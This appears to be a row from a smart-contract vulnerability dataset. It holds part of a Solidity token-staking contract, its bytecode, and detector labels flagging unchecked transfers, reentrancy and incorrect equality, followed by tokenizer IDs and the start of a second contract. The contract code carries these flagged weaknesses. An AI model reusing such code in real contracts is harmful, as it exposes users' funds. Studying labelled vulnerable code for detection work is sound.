amountIn=_uniswapV2Router.getAmountsIn(amountout,path)[0]; return amountIn; } function tokenPriceInUsdt(uint256 amountout) public view returns(uint256){ address[] memory path = new address[](2); path[0]=(address(usdt)); path[1]=(address(_token)); uint256 amountIn=_uniswapV2Router.getAmountsIn(amountout,path)[0]; return amountIn; } function tokenPriceOut(uint256 amountIn) public view returns(uint256){ address[] memory path = new address[](2); path[0]=(_uniswapV2Router.WETH()); path[1]=(address(_token)); uint256 amountOut=_uniswapV2Router.getAmountsOut(amountIn,path)[1]; return amountOut; } function tokenPriceOutUsdt(uint256 amountIn) public view returns(uint256){ address[] memory path = new address[](2); path[0]=(address(usdt)); path[1]=(address(_token)); uint256 amountOut=_uniswapV2Router.getAmountsOut(amountIn,path)[1]; return amountOut; } function buyforstakingwithexactEHTforToken(uint256 stakestep) external payable { uint256 tokenAmount=tokenPriceOut(msg.value.mul(100).div(100-rates[stakestep])); lockedBalance=lockedBalance.add(tokenAmount); require(lockedBalance<_token.balanceOf(address(this)),"Stake : staking is full"); _stakers[msg.sender]=staker(tokenAmount,block.timestamp.add(times[stakestep]),rates[stakestep]); payable(owner()).transfer(msg.value); emit Stake(msg.sender,tokenAmount,block.timestamp.add(times[stakestep])); } function buyforstakingwithexactUsdtforToken(uint256 amount, uint256 stakestep) external { uint256 tokenAmount=tokenPriceOutUsdt(amount.mul(100).div(100-rates[stakestep])); usdt.transferFrom(msg.sender,owner(),amount); lockedBalance=lockedBalance.add(tokenAmount); require(lockedBalance<_token.balanceOf(address(this)),"Stake : staking is full"); _stakers[msg.sender]=staker(tokenAmount,block.timestamp.add(times[stakestep]),rates[stakestep]); emit Stake(msg.sender,tokenAmount,block.timestamp.add(times[stakestep])); } // function buyforstakingwithEHTforexactToken(uint256 amountOut,uint256 stakestep) external payable { // uint256 ETHAmount=tokenPriceIn(amountOut).mul(100-rates[stakestep]).div(100); // require(ETHAmount==msg.value,"buyforstaking : wrong ETH amount"); // lockedBalance=lockedBalance.add(amountOut); // _stakers[msg.sender]=staker(amountOut,block.timestamp.add(times[stakestep]),rates[stakestep]); // emit Stake(msg.sender,amountOut,block.timestamp.add(times[stakestep])); // } }
0x6080604052600436106101145760003560e01c80637b0472f0116100a057806392eafd311161006457806392eafd311461035f578063a1026d161461039c578063b4cef28d146103d9578063e6158ce114610416578063f2fde38b1461045357610114565b80637b0472f01461027a5780637b80889b146102a357806389e86c2f146102ce5780638a14a3b71461030b5780638da5cb5b1461033457610114565b8063568cfe9a116100e7578063568cfe9a146101b45780636abd26a7146101df5780636ef98b21146101fb578063715018a61461022457806375e032f41461023b57610114565b80632f48ab7d146101195780633ccfd60b1461014457806345972f361461015b578063557bba2614610177575b600080fd5b34801561012557600080fd5b5061012e61047c565b60405161013b91906130ac565b60405180910390f35b34801561015057600080fd5b506101596104a2565b005b61017560048036038101906101709190612b7d565b61071d565b005b34801561018357600080fd5b5061019e60048036038101906101999190612b7d565b61080f565b6040516101ab9190613229565b60405180910390f35b3480156101c057600080fd5b506101c9610ab3565b6040516101d69190613229565b60405180910390f35b6101f960048036038101906101f49190612b7d565b610b65565b005b34801561020757600080fd5b50610222600480360381019061021d9190612b7d565b610ee8565b005b34801561023057600080fd5b50610239611101565b005b34801561024757600080fd5b50610262600480360381019061025d9190612ac1565b611254565b60405161027193929190613274565b60405180910390f35b34801561028657600080fd5b506102a1600480360381019061029c9190612bcf565b61127e565b005b3480156102af57600080fd5b506102b86117b6565b6040516102c59190613229565b60405180910390f35b3480156102da57600080fd5b506102f560048036038101906102f09190612b7d565b6117bc565b6040516103029190613229565b60405180910390f35b34801561031757600080fd5b50610332600480360381019061032d9190612bcf565b611add565b005b34801561034057600080fd5b50610349611ecc565b6040516103569190612fd1565b60405180910390f35b34801561036b57600080fd5b5061038660048036038101906103819190612b7d565b611ef5565b6040516103939190613229565b60405180910390f35b3480156103a857600080fd5b506103c360048036038101906103be9190612ac1565b612199565b6040516103d09190613229565b60405180910390f35b3480156103e557600080fd5b5061040060048036038101906103fb9190612ac1565b61224b565b60405161040d9190613229565b60405180910390f35b34801561042257600080fd5b5061043d60048036038101906104389190612b7d565b612297565b60405161044a9190613229565b60405180910390f35b34801561045f57600080fd5b5061047a60048036038101906104759190612ac1565b6125b8565b005b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015411610527576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161051e90613149565b60405180910390fd5b42600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154106105ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a290613209565b60405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546040518363ffffffff1660e01b815260040161064a92919061304c565b602060405180830381600087803b15801561066457600080fd5b505af1158015610678573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069c9190612b54565b50604051806060016040528060008152602001600081526020016000815250600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020155905050565b610725612659565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a9906131c9565b60405180910390fd5b8047116107be57600080fd5b6107c6612659565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561080b573d6000803e3d6000fd5b5050565b600080600267ffffffffffffffff811115610853577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156108815781602001602082028036833780820191505090505b509050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16816000815181106108e1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600181518110610978577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631f00ca7485846040518363ffffffff1660e01b8152600401610a11929190613244565b60006040518083038186803b158015610a2957600080fd5b505afa158015610a3d573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610a669190612b13565b600081518110610a9f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015190508092505050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610b109190612fd1565b60206040518083038186803b158015610b2857600080fd5b505afa158015610b3c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b609190612ba6565b905090565b6000610be5610be060048481548110610ba7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001546064610bbe919061343e565b610bd260643461266190919063ffffffff16565b6126dc90919063ffffffff16565b612297565b9050610bfc8160055461272690919063ffffffff16565b600581905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610c5d9190612fd1565b60206040518083038186803b158015610c7557600080fd5b505afa158015610c89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cad9190612ba6565b60055410610cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce7906131e9565b60405180910390fd5b6040518060600160405280828152602001610d5860038581548110610d3e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001544261272690919063ffffffff16565b815260200160048481548110610d97577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154815250600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020155905050610e0d611ecc565b73ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610e52573d6000803e3d6000fd5b507f5af417134f72a9d41143ace85b0a26dce6f550f894f2cbc1eeee8810603d91b63382610ecd60038681548110610eb3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001544261272690919063ffffffff16565b604051610edc93929190613075565b60405180910390a15050565b610ef0612659565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f74906131c9565b60405180910390fd5b61103c600554600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610fde9190612fd1565b60206040518083038186803b158015610ff657600080fd5b505afa15801561100a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102e9190612ba6565b61278490919063ffffffff16565b811061104757600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb61108d612659565b836040518363ffffffff1660e01b81526004016110ab929190612fec565b602060405180830381600087803b1580156110c557600080fd5b505af11580156110d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fd9190612b54565b5050565b611109612659565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611196576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118d906131c9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60016020528060005260406000206000915090508060000154908060010154908060020154905083565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015414611303576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fa90613169565b60405180910390fd5b6000821415611347576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133e90613129565b60405180910390fd5b600060038281548110611383577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020015414156113cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c6906131a9565b60405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b815260040161142e93929190613015565b602060405180830381600087803b15801561144857600080fd5b505af115801561145c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114809190612b54565b50600061150060646114f26114e36064600487815481106114ca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020015461272690919063ffffffff16565b8661266190919063ffffffff16565b6126dc90919063ffffffff16565b90506115178160055461272690919063ffffffff16565b600581905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016115789190612fd1565b60206040518083038186803b15801561159057600080fd5b505afa1580156115a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115c89190612ba6565b6005541061160b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611602906131e9565b60405180910390fd5b604051806060016040528082815260200161167360038581548110611659577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001544261272690919063ffffffff16565b8152602001600484815481106116b2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154815250600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155604082015181600201559050507f5af417134f72a9d41143ace85b0a26dce6f550f894f2cbc1eeee8810603d91b6338261179a60038681548110611780577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001544261272690919063ffffffff16565b6040516117a993929190613075565b60405180910390a1505050565b60055481565b600080600267ffffffffffffffff811115611800577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561182e5781602001602082028036833780820191505090505b509050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561189957600080fd5b505afa1580156118ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118d19190612aea565b8160008151811061190b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16816001815181106119a2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631f00ca7485846040518363ffffffff1660e01b8152600401611a3b929190613244565b60006040518083038186803b158015611a5357600080fd5b505afa158015611a67573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190611a909190612b13565b600081518110611ac9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015190508092505050919050565b6000611b5d611b5860048481548110611b1f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001546064611b36919061343e565b611b4a60648761266190919063ffffffff16565b6126dc90919063ffffffff16565b611ef5565b9050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd33611ba6611ecc565b866040518463ffffffff1660e01b8152600401611bc593929190613015565b602060405180830381600087803b158015611bdf57600080fd5b505af1158015611bf3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c179190612b54565b50611c2d8160055461272690919063ffffffff16565b600581905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401611c8e9190612fd1565b60206040518083038186803b158015611ca657600080fd5b505afa158015611cba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cde9190612ba6565b60055410611d21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d18906131e9565b60405180910390fd5b6040518060600160405280828152602001611d8960038581548110611d6f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001544261272690919063ffffffff16565b815260200160048481548110611dc8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154815250600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155604082015181600201559050507f5af417134f72a9d41143ace85b0a26dce6f550f894f2cbc1eeee8810603d91b63382611eb060038681548110611e96577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001544261272690919063ffffffff16565b604051611ebf93929190613075565b60405180910390a1505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080600267ffffffffffffffff811115611f39577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611f675781602001602082028036833780820191505090505b509050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600081518110611fc7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160018151811061205e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f85846040518363ffffffff1660e01b81526004016120f7929190613244565b60006040518083038186803b15801561210f57600080fd5b505afa158015612123573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525081019061214c9190612b13565b600181518110612185577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015190508092505050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101544211156121ee5760009050612246565b61224342600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015461278490919063ffffffff16565b90505b919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549050919050565b600080600267ffffffffffffffff8111156122db577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156123095781602001602082028036833780820191505090505b509050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561237457600080fd5b505afa158015612388573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123ac9190612aea565b816000815181106123e6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160018151811061247d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f85846040518363ffffffff1660e01b8152600401612516929190613244565b60006040518083038186803b15801561252e57600080fd5b505afa158015612542573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525081019061256b9190612b13565b6001815181106125a4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015190508092505050919050565b6125c0612659565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461264d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612644906131c9565b60405180910390fd5b612656816127ce565b50565b600033905090565b60008083141561267457600090506126d6565b6000828461268291906133e4565b905082848261269191906133b3565b146126d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126c890613189565b60405180910390fd5b809150505b92915050565b600061271e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506128fb565b905092915050565b6000808284612735919061335d565b90508381101561277a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161277190613109565b60405180910390fd5b8091505092915050565b60006127c683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061295e565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561283e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612835906130e9565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008083118290612942576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161293991906130c7565b60405180910390fd5b506000838561295191906133b3565b9050809150509392505050565b60008383111582906129a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161299d91906130c7565b60405180910390fd5b50600083856129b5919061343e565b9050809150509392505050565b60006129d56129d0846132dc565b6132ab565b905080838252602082019050828560208602820111156129f457600080fd5b60005b85811015612a245781612a0a8882612aac565b8452602084019350602083019250506001810190506129f7565b5050509392505050565b600081359050612a3d816135e5565b92915050565b600081519050612a52816135e5565b92915050565b600082601f830112612a6957600080fd5b8151612a798482602086016129c2565b91505092915050565b600081519050612a91816135fc565b92915050565b600081359050612aa681613613565b92915050565b600081519050612abb81613613565b92915050565b600060208284031215612ad357600080fd5b6000612ae184828501612a2e565b91505092915050565b600060208284031215612afc57600080fd5b6000612b0a84828501612a43565b91505092915050565b600060208284031215612b2557600080fd5b600082015167ffffffffffffffff811115612b3f57600080fd5b612b4b84828501612a58565b91505092915050565b600060208284031215612b6657600080fd5b6000612b7484828501612a82565b91505092915050565b600060208284031215612b8f57600080fd5b6000612b9d84828501612a97565b91505092915050565b600060208284031215612bb857600080fd5b6000612bc684828501612aac565b91505092915050565b60008060408385031215612be257600080fd5b6000612bf085828601612a97565b9250506020612c0185828601612a97565b9150509250929050565b6000612c178383612c32565b60208301905092915050565b612c2c816134ba565b82525050565b612c3b81613472565b82525050565b612c4a81613472565b82525050565b6000612c5b82613318565b612c65818561333b565b9350612c7083613308565b8060005b83811015612ca1578151612c888882612c0b565b9750612c938361332e565b925050600181019050612c74565b5085935050505092915050565b612cb7816134cc565b82525050565b6000612cc882613323565b612cd2818561334c565b9350612ce2818560208601613514565b612ceb816135d4565b840191505092915050565b6000612d0360268361334c565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612d69601b8361334c565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b6000612da960118361334c565b91507f616d6f756e74206d757374206e6f7420300000000000000000000000000000006000830152602082019050919050565b6000612de960198361334c565b91507f7468657265206973206e6f207374616b656420616d6f756e74000000000000006000830152602082019050919050565b6000612e2960138361334c565b91507f616c7265616479207374616b65206578697374000000000000000000000000006000830152602082019050919050565b6000612e6960218361334c565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612ecf60158361334c565b91507f6c6f636b656474696d65206d757374206e6f74203000000000000000000000006000830152602082019050919050565b6000612f0f60208361334c565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000612f4f60178361334c565b91507f5374616b65203a207374616b696e672069732066756c6c0000000000000000006000830152602082019050919050565b6000612f8f60158361334c565b91507f6e6f7420726561647920746f20776974686472617700000000000000000000006000830152602082019050919050565b612fcb816134b0565b82525050565b6000602082019050612fe66000830184612c41565b92915050565b60006040820190506130016000830185612c23565b61300e6020830184612fc2565b9392505050565b600060608201905061302a6000830186612c41565b6130376020830185612c41565b6130446040830184612fc2565b949350505050565b60006040820190506130616000830185612c41565b61306e6020830184612fc2565b9392505050565b600060608201905061308a6000830186612c41565b6130976020830185612fc2565b6130a46040830184612fc2565b949350505050565b60006020820190506130c16000830184612cae565b92915050565b600060208201905081810360008301526130e18184612cbd565b905092915050565b6000602082019050818103600083015261310281612cf6565b9050919050565b6000602082019050818103600083015261312281612d5c565b9050919050565b6000602082019050818103600083015261314281612d9c565b9050919050565b6000602082019050818103600083015261316281612ddc565b9050919050565b6000602082019050818103600083015261318281612e1c565b9050919050565b600060208201905081810360008301526131a281612e5c565b9050919050565b600060208201905081810360008301526131c281612ec2565b9050919050565b600060208201905081810360008301526131e281612f02565b9050919050565b6000602082019050818103600083015261320281612f42565b9050919050565b6000602082019050818103600083015261322281612f82565b9050919050565b600060208201905061323e6000830184612fc2565b92915050565b60006040820190506132596000830185612fc2565b818103602083015261326b8184612c50565b90509392505050565b60006060820190506132896000830186612fc2565b6132966020830185612fc2565b6132a36040830184612fc2565b949350505050565b6000604051905081810181811067ffffffffffffffff821117156132d2576132d16135a5565b5b8060405250919050565b600067ffffffffffffffff8211156132f7576132f66135a5565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613368826134b0565b9150613373836134b0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133a8576133a7613547565b5b828201905092915050565b60006133be826134b0565b91506133c9836134b0565b9250826133d9576133d8613576565b5b828204905092915050565b60006133ef826134b0565b91506133fa836134b0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561343357613432613547565b5b828202905092915050565b6000613449826134b0565b9150613454836134b0565b92508282101561346757613466613547565b5b828203905092915050565b600061347d82613490565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006134c5826134f0565b9050919050565b60006134d7826134de565b9050919050565b60006134e982613490565b9050919050565b60006134fb82613502565b9050919050565b600061350d82613490565b9050919050565b60005b83811015613532578082015181840152602081019050613517565b83811115613541576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b6135ee81613472565b81146135f957600080fd5b50565b61360581613484565b811461361057600080fd5b50565b61361c816134b0565b811461362757600080fd5b5056fea26469706673582212201517fcf8ce6584d42bc359e9fd432da1fda8fc1ac1879706d8dde1173de4bdbf64736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2683, 29292, 27009, 6305, 2581, 27717, 2629, 2050, 2620, 2546, 27009, 2497, 2581, 4246, 2692, 2098, 2683, 2683, 2683, 3540, 2094, 2509, 2546, 2509, 2063, 2620, 2475, 2497, 12521, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,345
0x969c736577b7cfaad322abbbd6db9bd057f6afca
pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * 